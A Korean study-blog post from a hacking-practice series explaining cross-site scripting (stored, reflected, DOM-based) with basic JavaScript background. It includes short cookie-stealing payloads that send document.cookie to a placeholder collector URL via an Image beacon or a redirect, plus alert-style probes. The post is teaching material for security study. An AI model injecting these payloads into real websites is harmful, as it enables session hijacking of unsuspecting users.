XSS(Cross Site Scripting)
: 클라이언트 측 코드에 코드를 삽입하는 공격
여기서 클라이언트 측 코드란 웹 브라우저 코드 HTML, JAVASCRIPT 등을 의미하고
웹 브라우저 코드에 공격자가 원하는 공격 코드를 삽입해서 실행 되게 하는 공격이다
그 전에 배웠던 SQL Injection과 달리 서버측 공격을 하지 않고 클라인트(사용자)를 대상으로 하는 공격!!!
- Server Side & Client Side
- 네트워크 방식중 Server-Cilent 구조에서 Server 또는 Client에서 처리하는 것
- Server Side : 서버측에서 실행되는 코드
- Client Side : 클라이언트측에서 실행되는 코
Server Side 언어 | Client SIde 언어 |
JSP ASP PHP |
HTML CSS JavaScript |
XSS(Cross Site Scripting)
- 클라이언트측에 코드를 삽입 하기 때문에 서버에 영향이 없다
- 클라이언트를 HTML, JavaScript로 공격하는 기법
- XSS 공격은 크게 3가지로 나눠진다
XSS를 사용하기전 알아야할 JavasScript 코드!!
[1] JS 변수 설정
var : 중복 선언이 가능하다 -> 전역 변수, 지역 변수에 중복 선언시 문제가 된다
let : 중복 선언이 불가능하지만 재할당이 가능하다
const : 중복, 재할당이 불가능하다 -> 상수로 사용
[2] 페이지 이동 코드
location.herf = "URL";
location.replace="URL";
[3] ★★Web Request!!
var i = new Image()
i.src = "URL?cookie=" + document.cookie
사용자의 세션을 탈취하기 위해 사용자 쿠키값을 얻어오는 코드
[1] Stored XSS : 서버에 저장하자!!
웹 사이트에 게시판, 댓글 등에 공격자가 원하는 공격 코드를 삽입해서 서버의 DB에 저장하는 공격이다
다른 사용자들이 게시판이나 댓글을 확인할 때 공격자의 코드가 실행되는 방식으로 사용자의 쿠키를 탈취할 수 있다
1) 서버에 저장되는 지 먼저 확인하기!!!
<script>alert("alertt로 여기에 표시돼요~!");</script>
<script>prompt("prompt로 여기에 표시돼요~!");</script>
<script>confirm("confirm으로 여기에 표시돼요~!");
2) 사용자 쿠키 탈취하기!!!
<script>var i=new Image();i.src="사용자쿠키를 받을 사이트?cookie"+document.cookie;</script>
[2] Reflected XSS : 반사형 공격!! (추후 다시 작성)
이메일, 게시판 등 링크를 남길 수 있는 곳이라면 어디든 파싱한다
사용자는 공격자가 걸어 놓은 악성코드 링크를 들어가면 공격 코드가 삽입된 사이트로 입력된 코드가 반사되어 그대로 웹 사이트에 출력이 된다 그러면 세션 정보를 공격자에게 전달한다
1) 사용자에게 공격 링크를 전달하고 쿠기 탈취!!!
<script>location.href("url?value="+document.cookie);</script>
[3] DOM Based XSS (추후 다시 작성)
악의적인 공격코드를 포함한 URL을 사용자가 요청하게 되어 브라우저를 해석하는 단계에 발생하는 공격
악의적인 코드로 클라이언트 측 코드가 원래 의도와는 다르게 실행된다
DOM Based XSS는 다른 XSS공격과 다르게 서버측에서 탐지가 어렵다!!!!
[참고] https://noirstar.tistory.com/266
[아이콘 저작권]
디지털 아이콘 제작자: Muhammad_Usman - Flaticon
Ui 아이콘 제작자: Ilham Fitrotul Hayat - Flaticon
지원 아이콘 제작자: Freepik - Flaticon
'모의해킹 공부 > 모의해킹 스터디' 카테고리의 다른 글
[0518 Day08] XSS & CSRF (0) | 2023.05.19 |
---|---|
[0511 Day07] XSS(Cross Site Scripting)-02 (0) | 2023.05.12 |
[0427 Day05] SQL Injection-03 (1) | 2023.04.28 |
[0420 Day04] SQL Injection-02 (0) | 2023.04.21 |
[0413 Day03] SQL Injection -01 (0) | 2023.04.14 |